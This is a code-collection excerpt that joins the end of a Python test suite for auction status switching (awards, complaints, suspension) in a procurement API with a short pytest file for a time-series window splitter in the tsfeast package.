self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {"lots": [{"auctionPeriod": {"startDate": "9999-01-01T00:00:00"}}]}}) item = response.json['data']["lots"][0] else: response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {"auctionPeriod": {"startDate": "9999-01-01T00:00:00"}}}) item = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']["status"], 'active.auction') self.assertGreaterEqual(item['auctionPeriod']['shouldStartAfter'], response.json['data']['tenderPeriod']['endDate']) self.assertIn('9999-01-01T00:00:00', item['auctionPeriod']['startDate']) self.assertIn('9999-01-01T00:00:00', response.json['data']['next_check']) class AuctionAwardSwitchResourceTest(BaseAuctionWebTest): initial_status = 'active.auction' initial_bids = test_bids def setUp(self): super(AuctionAwardSwitchResourceTest, self).setUp() authorization = self.app.authorization self.app.authorization = ('Basic', ('auction', '')) now = get_now() auction_result = { 'bids': [ { "id": b['id'], "date": (now - timedelta(seconds=i)).isoformat(), "value": b['value'] } for i, b in enumerate(self.initial_bids) ] } response = self.app.post_json('/auctions/{}/auction'.format(self.auction_id), {'data': auction_result}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') auction = response.json['data'] self.assertEqual('active.qualification', auction["status"]) self.award = self.first_award = auction['awards'][0] self.second_award = auction['awards'][1] self.award_id = self.first_award_id = self.first_award['id'] self.second_award_id = self.second_award['id'] self.app.authorization = authorization def test_switch_verification_to_unsuccessful(self): auction = self.db.get(self.auction_id) auction['awards'][0]['verificationPeriod']['endDate'] = auction['awards'][0]['verificationPeriod']['startDate'] self.db.save(auction) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') auction = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(auction['awards'][0]['status'], 'unsuccessful') self.assertEqual(auction['awards'][1]['status'], 'pending.verification') self.assertEqual(auction['status'], 'active.qualification') self.assertNotIn('endDate', auction['awardPeriod']) def test_switch_payment_to_unsuccessful(self): bid_token = self.initial_bids_tokens[self.award['bid_id']] response = self.app.post('/auctions/{}/awards/{}/documents?acc_token={}'.format( self.auction_id, self.award_id, self.auction_token), upload_files=[('file', 'auction_protocol.pdf', 'content')]) self.assertEqual(response.status, '201 Created') self.assertEqual(response.content_type, 'application/json') doc_id = response.json["data"]['id'] key = response.json["data"]["url"].split('?')[-1] response = self.app.patch_json('/auctions/{}/awards/{}/documents/{}?acc_token={}'.format(self.auction_id, self.award_id, doc_id, self.auction_token), {"data": { "description": "auction protocol", "documentType": 'auctionProtocol' }}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json["data"]["documentType"], 'auctionProtocol') response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.award_id), {"data": {"status": "pending.payment"}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "pending.payment") auction = self.db.get(self.auction_id) auction['awards'][0]['paymentPeriod']['endDate'] = auction['awards'][0]['paymentPeriod']['startDate'] self.db.save(auction) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') auction = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(auction['awards'][0]['status'], 'unsuccessful') self.assertEqual(auction['awards'][1]['status'], 'pending.verification') self.assertEqual(auction['status'], 'active.qualification') self.assertNotIn('endDate', auction['awardPeriod']) def test_switch_active_to_unsuccessful(self): bid_token = self.initial_bids_tokens[self.award['bid_id']] response = self.app.post('/auctions/{}/awards/{}/documents?acc_token={}'.format( self.auction_id, self.award_id, self.auction_token), upload_files=[('file', 'auction_protocol.pdf', 'content')]) self.assertEqual(response.status, '201 Created') self.assertEqual(response.content_type, 'application/json') doc_id = response.json["data"]['id'] key = response.json["data"]["url"].split('?')[-1] response = self.app.patch_json('/auctions/{}/awards/{}/documents/{}?acc_token={}'.format(self.auction_id, self.award_id, doc_id, self.auction_token), {"data": { "description": "auction protocol", "documentType": 'auctionProtocol' }}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json["data"]["documentType"], 'auctionProtocol') response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.award_id), {"data": {"status": "pending.payment"}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "pending.payment") response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.award_id), {"data": {"status": "active"}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "active") auction = self.db.get(self.auction_id) auction['awards'][0]['signingPeriod']['endDate'] = auction['awards'][0]['signingPeriod']['startDate'] self.db.save(auction) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) auction = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(auction['awards'][0]['status'], 'unsuccessful') self.assertEqual(auction['contracts'][0]['status'], 'cancelled') self.assertEqual(auction['awards'][1]['status'], 'pending.verification') self.assertEqual(auction['status'], 'active.qualification') self.assertNotIn('endDate', auction['awardPeriod']) class AuctionAwardSwitch2ResourceTest(BaseAuctionWebTest): initial_status = 'active.auction' initial_bids = [ { "tenderers": [ test_organization ], "value": { "amount": 101 * (i + 1), "currency": "UAH", "valueAddedTaxIncluded": True }, 'qualified': True } for i in range(2) ] def setUp(self): super(AuctionAwardSwitch2ResourceTest, self).setUp() authorization = self.app.authorization self.app.authorization = ('Basic', ('auction', '')) response = self.app.post_json('/auctions/{}/auction'.format(self.auction_id), {'data': {'bids': self.initial_bids}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') auction = response.json['data'] self.assertEqual('active.qualification', auction["status"]) self.award = self.first_award = auction['awards'][0] self.second_award = auction['awards'][1] self.award_id = self.first_award_id = self.first_award['id'] self.second_award_id = self.second_award['id'] self.app.authorization = authorization def test_switch_verification_to_unsuccessful(self): auction = self.db.get(self.auction_id) auction['awards'][0]['verificationPeriod']['endDate'] = auction['awards'][0]['verificationPeriod']['startDate'] self.db.save(auction) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') auction = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(auction['awards'][0]['status'], 'unsuccessful') self.assertEqual(auction['awards'][1]['status'], 'unsuccessful') self.assertEqual(auction['status'], 'unsuccessful') self.assertIn('endDate', auction['awardPeriod']) def test_switch_payment_to_unsuccessful(self): bid_token = self.initial_bids_tokens[self.award['bid_id']] response = self.app.post('/auctions/{}/awards/{}/documents?acc_token={}'.format( self.auction_id, self.award_id, self.auction_token), upload_files=[('file', 'auction_protocol.pdf', 'content')]) self.assertEqual(response.status, '201 Created') self.assertEqual(response.content_type, 'application/json') doc_id = response.json["data"]['id'] key = response.json["data"]["url"].split('?')[-1] response = self.app.patch_json('/auctions/{}/awards/{}/documents/{}?acc_token={}'.format(self.auction_id, self.award_id, doc_id, self.auction_token), {"data": { "description": "auction protocol", "documentType": 'auctionProtocol' }}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json["data"]["documentType"], 'auctionProtocol') response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.award_id), {"data": {"status": "pending.payment"}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "pending.payment") auction = self.db.get(self.auction_id) auction['awards'][0]['paymentPeriod']['endDate'] = auction['awards'][0]['paymentPeriod']['startDate'] self.db.save(auction) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') auction = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(auction['awards'][0]['status'], 'unsuccessful') self.assertEqual(auction['awards'][1]['status'], 'unsuccessful') self.assertEqual(auction['status'], 'unsuccessful') self.assertIn('endDate', auction['awardPeriod']) def test_switch_active_to_unsuccessful(self): bid_token = self.initial_bids_tokens[self.award['bid_id']] response = self.app.post('/auctions/{}/awards/{}/documents?acc_token={}'.format( self.auction_id, self.award_id, self.auction_token), upload_files=[('file', 'auction_protocol.pdf', 'content')]) self.assertEqual(response.status, '201 Created') self.assertEqual(response.content_type, 'application/json') doc_id = response.json["data"]['id'] key = response.json["data"]["url"].split('?')[-1] response = self.app.patch_json('/auctions/{}/awards/{}/documents/{}?acc_token={}'.format(self.auction_id, self.award_id, doc_id, self.auction_token), {"data": { "description": "auction protocol", "documentType": 'auctionProtocol' }}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json["data"]["documentType"], 'auctionProtocol') response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.award_id), {"data": {"status": "pending.payment"}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "pending.payment") response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.award_id), {"data": {"status": "active"}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "active") auction = self.db.get(self.auction_id) auction['awards'][0]['signingPeriod']['endDate'] = auction['awards'][0]['signingPeriod']['startDate'] self.db.save(auction) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) auction = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(auction['awards'][0]['status'], 'unsuccessful') self.assertEqual(auction['contracts'][0]['status'], 'cancelled') self.assertEqual(auction['awards'][1]['status'], 'unsuccessful') self.assertEqual(auction['status'], 'unsuccessful') self.assertIn('endDate', auction['awardPeriod']) @unittest.skip("option not available") class AuctionLotAuctionPeriodResourceTest(AuctionAuctionPeriodResourceTest): initial_lots = test_lots class AuctionComplaintSwitchResourceTest(BaseAuctionWebTest): def test_switch_to_pending(self): response = self.app.post_json('/auctions/{}/complaints'.format(self.auction_id), {'data': { 'title': 'complaint title', 'description': 'complaint description', 'author': self.initial_organization, 'status': 'claim' }}) self.assertEqual(response.status, '201 Created') self.assertEqual(response.json['data']['status'], 'claim') auction = self.db.get(self.auction_id) auction['complaints'][0]['dateSubmitted'] = (get_now() - timedelta(days=1 if 'procurementMethodDetails' in auction else 4)).isoformat() self.db.save(auction) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']["complaints"][0]['status'], 'pending') def test_switch_to_complaint(self): for status in ['invalid', 'resolved', 'declined']: self.app.authorization = ('Basic', ('token', '')) response = self.app.post_json('/auctions/{}/complaints'.format(self.auction_id), {'data': { 'title': 'complaint title', 'description': 'complaint description', 'author': self.initial_organization, 'status': 'claim' }}) self.assertEqual(response.status, '201 Created') self.assertEqual(response.json['data']['status'], 'claim') complaint = response.json['data'] response = self.app.patch_json('/auctions/{}/complaints/{}?acc_token={}'.format(self.auction_id, complaint['id'], self.auction_token), {"data": { "status": "answered", "resolution": status * 4, "resolutionType": status }}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "answered") self.assertEqual(response.json['data']["resolutionType"], status) auction = self.db.get(self.auction_id) auction['complaints'][-1]['dateAnswered'] = (get_now() - timedelta(days=1 if 'procurementMethodDetails' in auction else 4)).isoformat() self.db.save(auction) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']["complaints"][-1]['status'], status) @unittest.skip("option not available") class AuctionLotComplaintSwitchResourceTest(AuctionComplaintSwitchResourceTest): initial_lots = test_lots @unittest.skip("option not available") class AuctionAwardComplaintSwitchResourceTest(BaseAuctionWebTest): initial_status = 'active.qualification' initial_bids = test_bids def setUp(self): super(AuctionAwardComplaintSwitchResourceTest, self).setUp() # Create award response = self.app.post_json('/auctions/{}/awards'.format( self.auction_id), {'data': {'suppliers': [self.initial_organization], 'status': 'pending', 'bid_id': self.initial_bids[0]['id']}}) award = response.json['data'] self.award_id = award['id'] def test_switch_to_pending(self): response = self.app.post_json('/auctions/{}/awards/{}/complaints'.format(self.auction_id, self.award_id), {'data': { 'title': 'complaint title', 'description': 'complaint description', 'author': self.initial_organization, 'status': 'claim' }}) self.assertEqual(response.status, '201 Created') self.assertEqual(response.json['data']['status'], 'claim') response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.award_id), {"data": {"status": "active"}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "active") auction = self.db.get(self.auction_id) auction['awards'][0]['complaints'][0]['dateSubmitted'] = (get_now() - timedelta(days=1 if 'procurementMethodDetails' in auction else 4)).isoformat() self.db.save(auction) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']['awards'][0]["complaints"][0]['status'], 'pending') def test_switch_to_complaint(self): response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.award_id), {"data": {"status": "active"}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "active") for status in ['invalid', 'resolved', 'declined']: self.app.authorization = ('Basic', ('token', '')) response = self.app.post_json('/auctions/{}/awards/{}/complaints'.format(self.auction_id, self.award_id), {'data': { 'title': 'complaint title', 'description': 'complaint description', 'author': self.initial_organization, 'status': 'claim' }}) self.assertEqual(response.status, '201 Created') self.assertEqual(response.json['data']['status'], 'claim') complaint = response.json['data'] response = self.app.patch_json('/auctions/{}/awards/{}/complaints/{}?acc_token={}'.format(self.auction_id, self.award_id, complaint['id'], self.auction_token), {"data": { "status": "answered", "resolution": status * 4, "resolutionType": status }}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "answered") self.assertEqual(response.json['data']["resolutionType"], status) auction = self.db.get(self.auction_id) auction['awards'][0]['complaints'][-1]['dateAnswered'] = (get_now() - timedelta(days=1 if 'procurementMethodDetails' in auction else 4)).isoformat() self.db.save(auction) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']['awards'][0]["complaints"][-1]['status'], status) @unittest.skip("option not available") class AuctionLotAwardComplaintSwitchResourceTest(AuctionAwardComplaintSwitchResourceTest): initial_lots = test_lots def setUp(self): super(AuctionAwardComplaintSwitchResourceTest, self).setUp() # Create award response = self.app.post_json('/auctions/{}/awards'.format(self.auction_id), {'data': { 'suppliers': [self.initial_organization], 'status': 'pending', 'bid_id': self.initial_bids[0]['id'], 'lotID': self.initial_bids[0]['lotValues'][0]['relatedLot'] }}) award = response.json['data'] self.award_id = award['id'] class AuctionDontSwitchSuspendedAuction2ResourceTest(BaseAuctionWebTest): initial_bids = test_bids def test_switch_suspended_auction_to_auction(self): self.app.authorization = ('Basic', ('administrator', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'suspended': True}}) response = self.set_status('active.auction', {'status': self.initial_status}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertNotEqual(response.json['data']["status"], "active.auction") self.app.authorization = ('Basic', ('administrator', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'suspended': False}}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "active.auction") class AuctionDontSwitchSuspendedAuctionResourceTest(BaseAuctionWebTest): initial_status = 'active.auction' initial_bids = test_bids def setUp(self): super(AuctionDontSwitchSuspendedAuctionResourceTest, self).setUp() authorization = self.app.authorization self.app.authorization = ('Basic', ('auction', '')) now = get_now() auction_result = { 'bids': [ { "id": b['id'], "date": (now - timedelta(seconds=i)).isoformat(), "value": b['value'] } for i, b in enumerate(self.initial_bids) ] } response = self.app.post_json('/auctions/{}/auction'.format(self.auction_id), {'data': auction_result}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') auction = response.json['data'] self.assertEqual('active.qualification', auction["status"]) self.award = self.first_award = auction['awards'][0] self.second_award = auction['awards'][1] self.award_id = self.first_award_id = self.first_award['id'] self.second_award_id = self.second_award['id'] self.app.authorization = authorization def test_switch_suspended_verification_to_unsuccessful(self): auction = self.db.get(self.auction_id) auction['awards'][0]['verificationPeriod']['endDate'] = auction['awards'][0]['verificationPeriod']['startDate'] self.db.save(auction) self.app.authorization = ('Basic', ('administrator', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'suspended': True}}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') auction = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(auction['awards'][0]['status'], 'pending.verification') self.assertEqual(auction['awards'][1]['status'], 'pending.waiting') self.app.authorization = ('Basic', ('administrator', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'suspended': False}}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') auction = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(auction['awards'][0]['status'], 'unsuccessful') self.assertEqual(auction['awards'][1]['status'], 'pending.verification') self.assertEqual(auction['status'], 'active.qualification') self.assertNotIn('endDate', auction['awardPeriod']) def test_switch_suspended_payment_to_unsuccessful(self): bid_token = self.initial_bids_tokens[self.award['bid_id']] response = self.app.post('/auctions/{}/awards/{}/documents?acc_token={}'.format( self.auction_id, self.award_id, self.auction_token), upload_files=[('file', 'auction_protocol.pdf', 'content')]) self.assertEqual(response.status, '201 Created') self.assertEqual(response.content_type, 'application/json') doc_id = response.json["data"]['id'] key = response.json["data"]["url"].split('?')[-1] response = self.app.patch_json('/auctions/{}/awards/{}/documents/{}?acc_token={}'.format(self.auction_id, self.award_id, doc_id, self.auction_token), {"data": { "description": "auction protocol", "documentType": 'auctionProtocol' }}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json["data"]["documentType"], 'auctionProtocol') response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.award_id), {"data": {"status": "pending.payment"}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "pending.payment") auction = self.db.get(self.auction_id) auction['awards'][0]['paymentPeriod']['endDate'] = auction['awards'][0]['paymentPeriod']['startDate'] self.db.save(auction) self.app.authorization = ('Basic', ('administrator', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'suspended': True}}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') auction = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(auction['awards'][0]['status'], 'pending.payment') self.assertEqual(auction['awards'][1]['status'], 'pending.waiting') self.app.authorization = ('Basic', ('administrator', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'suspended': False}}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') auction = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(auction['awards'][0]['status'], 'unsuccessful') self.assertEqual(auction['awards'][1]['status'], 'pending.verification') self.assertEqual(auction['status'], 'active.qualification') self.assertNotIn('endDate', auction['awardPeriod']) def test_switch_suspended_active_to_unsuccessful(self): bid_token = self.initial_bids_tokens[self.award['bid_id']] response = self.app.post('/auctions/{}/awards/{}/documents?acc_token={}'.format( self.auction_id, self.award_id, self.auction_token), upload_files=[('file', 'auction_protocol.pdf', 'content')]) self.assertEqual(response.status, '201 Created') self.assertEqual(response.content_type, 'application/json') doc_id = response.json["data"]['id'] key = response.json["data"]["url"].split('?')[-1] response = self.app.patch_json('/auctions/{}/awards/{}/documents/{}?acc_token={}'.format(self.auction_id, self.award_id, doc_id, self.auction_token), {"data": { "description": "auction protocol", "documentType": 'auctionProtocol' }}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json["data"]["documentType"], 'auctionProtocol') response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.award_id), {"data": {"status": "pending.payment"}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "pending.payment") response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.award_id), {"data": {"status": "active"}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "active") auction = self.db.get(self.auction_id) auction['awards'][0]['signingPeriod']['endDate'] = auction['awards'][0]['signingPeriod']['startDate'] self.db.save(auction) self.app.authorization = ('Basic', ('administrator', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'suspended': True}}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') auction = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(auction['awards'][0]['status'], 'active') self.assertEqual(auction['contracts'][0]['status'], 'pending') self.assertEqual(auction['awards'][1]['status'], 'pending.waiting') self.assertEqual(auction['status'], 'active.awarded') self.assertIn('endDate', auction['awardPeriod']) self.app.authorization = ('Basic', ('administrator', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'suspended': False}}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) auction = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(auction['awards'][0]['status'], 'unsuccessful') self.assertEqual(auction['contracts'][0]['status'], 'cancelled') self.assertEqual(auction['awards'][1]['status'], 'pending.verification') self.assertEqual(auction['status'], 'active.qualification') self.assertNotIn('endDate', auction['awardPeriod']) class FinancialAuctionSwitchQualificationResourceTest(AuctionSwitchQualificationResourceTest): initial_bids = test_financial_bids[:1] initial_data = test_financial_auction_data initial_organization = test_financial_organization class FinancialAuctionSwitchAuctionResourceTest(AuctionSwitchAuctionResourceTest): initial_bids = test_financial_bids initial_data = test_financial_auction_data initial_organization = test_financial_organization class FinancialAuctionSwitchUnsuccessfulResourceTest(AuctionSwitchUnsuccessfulResourceTest): initial_data = test_financial_auction_data initial_organization = test_financial_organization @unittest.skip("option not available") class FinancialAuctionLotSwitchQualificationResourceTest(AuctionLotSwitchQualificationResourceTest): initial_data = test_financial_auction_data initial_organization = test_financial_organization @unittest.skip("option not available") class FinancialAuctionLotSwitchAuctionResourceTest(AuctionLotSwitchAuctionResourceTest): initial_data = test_financial_auction_data initial_organization = test_financial_organization @unittest.skip("option not available") class FinancialAuctionLotSwitchUnsuccessfulResourceTest(AuctionLotSwitchUnsuccessfulResourceTest): initial_data = test_financial_auction_data initial_organization = test_financial_organization class FinancialAuctionAuctionPeriodResourceTest(AuctionAuctionPeriodResourceTest): initial_bids = test_financial_bids initial_data = test_financial_auction_data initial_organization = test_financial_organization @unittest.skip("option not available") class FinancialAuctionLotAuctionPeriodResourceTest(AuctionLotAuctionPeriodResourceTest): initial_data = test_financial_auction_data initial_organization = test_financial_organization class FinancialAuctionComplaintSwitchResourceTest(AuctionComplaintSwitchResourceTest): initial_data = test_financial_auction_data initial_organization = test_financial_organization @unittest.skip("option not available") class FinancialAuctionLotComplaintSwitchResourceTest(AuctionLotComplaintSwitchResourceTest): initial_data = test_financial_auction_data initial_organization = test_financial_organization @unittest.skip("option not available") class FinancialAuctionAwardComplaintSwitchResourceTest(AuctionAwardComplaintSwitchResourceTest): initial_bids = test_financial_bids initial_data = test_financial_auction_data initial_organization = test_financial_organization @unittest.skip("option not available") class FinancialAuctionLotAwardComplaintSwitchResourceTest(AuctionLotAwardComplaintSwitchResourceTest): initial_data = test_financial_auction_data initial_organization = test_financial_organization def suite(): suite = unittest.TestSuite() suite.addTest(unittest.makeSuite(AuctionAwardComplaintSwitchResourceTest)) suite.addTest(unittest.makeSuite(AuctionComplaintSwitchResourceTest)) suite.addTest(unittest.makeSuite(AuctionLotAwardComplaintSwitchResourceTest)) suite.addTest(unittest.makeSuite(AuctionLotComplaintSwitchResourceTest)) suite.addTest(unittest.makeSuite(AuctionLotSwitchAuctionResourceTest)) suite.addTest(unittest.makeSuite(AuctionLotSwitchQualificationResourceTest)) suite.addTest(unittest.makeSuite(AuctionLotSwitchUnsuccessfulResourceTest)) suite.addTest(unittest.makeSuite(AuctionSwitchAuctionResourceTest)) suite.addTest(unittest.makeSuite(AuctionSwitchQualificationResourceTest)) suite.addTest(unittest.makeSuite(AuctionSwitchUnsuccessfulResourceTest)) suite.addTest(unittest.makeSuite(FinancialAuctionAwardComplaintSwitchResourceTest)) suite.addTest(unittest.makeSuite(FinancialAuctionComplaintSwitchResourceTest)) suite.addTest(unittest.makeSuite(FinancialAuctionLotAwardComplaintSwitchResourceTest)) suite.addTest(unittest.makeSuite(FinancialAuctionLotComplaintSwitchResourceTest)) suite.addTest(unittest.makeSuite(FinancialAuctionLotSwitchAuctionResourceTest)) suite.addTest(unittest.makeSuite(FinancialAuctionLotSwitchQualificationResourceTest)) suite.addTest(unittest.makeSuite(FinancialAuctionLotSwitchUnsuccessfulResourceTest)) suite.addTest(unittest.makeSuite(FinancialAuctionSwitchAuctionResourceTest)) suite.addTest(unittest.makeSuite(FinancialAuctionSwitchQualificationResourceTest)) suite.addTest(unittest.makeSuite(FinancialAuctionSwitchUnsuccessfulResourceTest)) return suite if __name__ == '__main__': unittest.main(defaultTest='suite')

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90f19b5ac44e535e444277cc315deb13a44860e6

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py

Python

tests/test_splitter.py

chris-santiago/tsfeast

a4177ecd23d2c55fd959f8d4cd011a15f5c57da6

[ "MIT" ]

null

tests/test_splitter.py

chris-santiago/tsfeast

a4177ecd23d2c55fd959f8d4cd011a15f5c57da6

[ "MIT" ]

7

2021-08-04T18:10:55.000Z

2021-08-21T20:36:59.000Z

tests/test_splitter.py

chris-santiago/tsfeast

a4177ecd23d2c55fd959f8d4cd011a15f5c57da6

[ "MIT" ]

2

2021-08-11T05:58:46.000Z

2021-12-17T22:09:59.000Z

import numpy as np import pandas as pd import pytest from tsfeast.splitter import EndogSeriesWindows, TimeSeriesWindows class TestTimeSeriesWindows: def test_split_sets(self, endog_uni, exog): tsw = TimeSeriesWindows(train_length=3, test_length=1, gap_length=0) windows = tsw.split(endog_uni, exog) for w in windows: assert len(w) == 4 @pytest.mark.parametrize( 'train_length, test_length', [ (2, 1), (3, 1), (3, 2) ] ) def test_num_splits(self, endog_uni, exog, train_length, test_length): tsw = TimeSeriesWindows(train_length=train_length, test_length=test_length, gap_length=0) windows = tsw.split(endog_uni, exog) assert len(windows) == (len(endog_uni) - train_length - (test_length - 1)) @pytest.mark.parametrize( 'train_length, test_length, gap_length', [ (2, 1, 1), (3, 1, 2), (3, 2, 1) ] ) def test_gap_n_splits(self, endog_uni, exog, train_length, test_length, gap_length): tsw = TimeSeriesWindows(train_length=train_length, test_length=test_length, gap_length=gap_length) windows = tsw.split(endog_uni, exog) assert len(windows) == (len(endog_uni) - (train_length + gap_length) - (test_length - 1)) @pytest.mark.parametrize( 'train_length, test_length, gap_length', [ (2, 1, 1), (3, 1, 2), (3, 2, 0) ] ) def test_split_shape(self, endog_uni, exog, train_length, test_length, gap_length): tsw = TimeSeriesWindows(train_length=train_length, test_length=test_length, gap_length=gap_length) windows = tsw.split(endog_uni, exog) for split in windows: x_train, x_test, y_train, y_test = split assert x_train.shape[0] == train_length assert x_test.shape[0] == test_length assert y_train.shape[0] == train_length assert y_test.shape[0] == test_length @pytest.mark.parametrize( 'train_length, test_length, gap_length', [ (2, 1, 1), (3, 1, 2), (3, 2, 0) ] ) def test_gap_exists(self, endog_uni, exog, train_length, test_length, gap_length): tsw = TimeSeriesWindows(train_length=train_length, test_length=test_length, gap_length=gap_length) windows = tsw.split(endog_uni, exog) for split in windows: x_train, x_test, y_train, y_test = split assert (x_train.index[-1] + pd.tseries.offsets.MonthEnd(1+gap_length)) == x_test.index[0] assert (y_train.index[-1] + pd.tseries.offsets.MonthEnd(1 + gap_length)) == y_test.index[0]

38.814286

106

0.620169

362

2,717

